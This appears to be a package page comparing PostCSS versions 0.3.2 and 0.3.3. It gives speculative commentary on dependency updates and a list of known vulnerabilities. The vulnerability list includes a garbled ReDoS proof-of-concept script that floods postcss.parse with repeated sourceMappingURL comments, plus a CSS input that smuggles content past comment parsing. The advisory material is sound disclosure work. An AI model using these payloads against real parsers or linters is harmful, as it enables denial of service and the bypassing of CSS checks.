PostCSS is a framework designed for CSS postprocessors, empowering developers to transform CSS with JavaScript. Version 0.3.3 builds upon the foundations laid by version 0.3.2, offering subtle but potentially impactful improvements. Examining the dependency changes reveals a key difference: the source-map dependency is updated from ~0.1.32 to ~0.1.33. While seemingly minor, this update to source-map functionality may include bug fixes, performance enhancements, or improved accuracy in mapping generated CSS back to its original source code. For developers relying heavily on source maps for debugging and development workflows, this enhancement could be a significant advantage.
The devDependencies also show some differences: should dependency went from 3.1.2 to 3.1.3. This change may reflect refinements in the testing framework. The core functionality, as indicated by the consistent presence of dependencies like base64-js, cssom, rework,fs-extra, gonzales and coffee-script across both versions, remains stable.
For developers considering PostCSS, both versions offer a solid foundation for CSS transformation. The update likely provides incremental improvements and bug fixes, particularly concerning source map generation. If accurate and reliable source maps are crucial to your workflow, version 0.3.3 is the recommended choice. Examining commit logs on the Github repository is useful to obtain more thorough information regarding the precise nature of adjustments included in these minor upgrades.
All the vulnerabilities related to the version 0.3.3 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.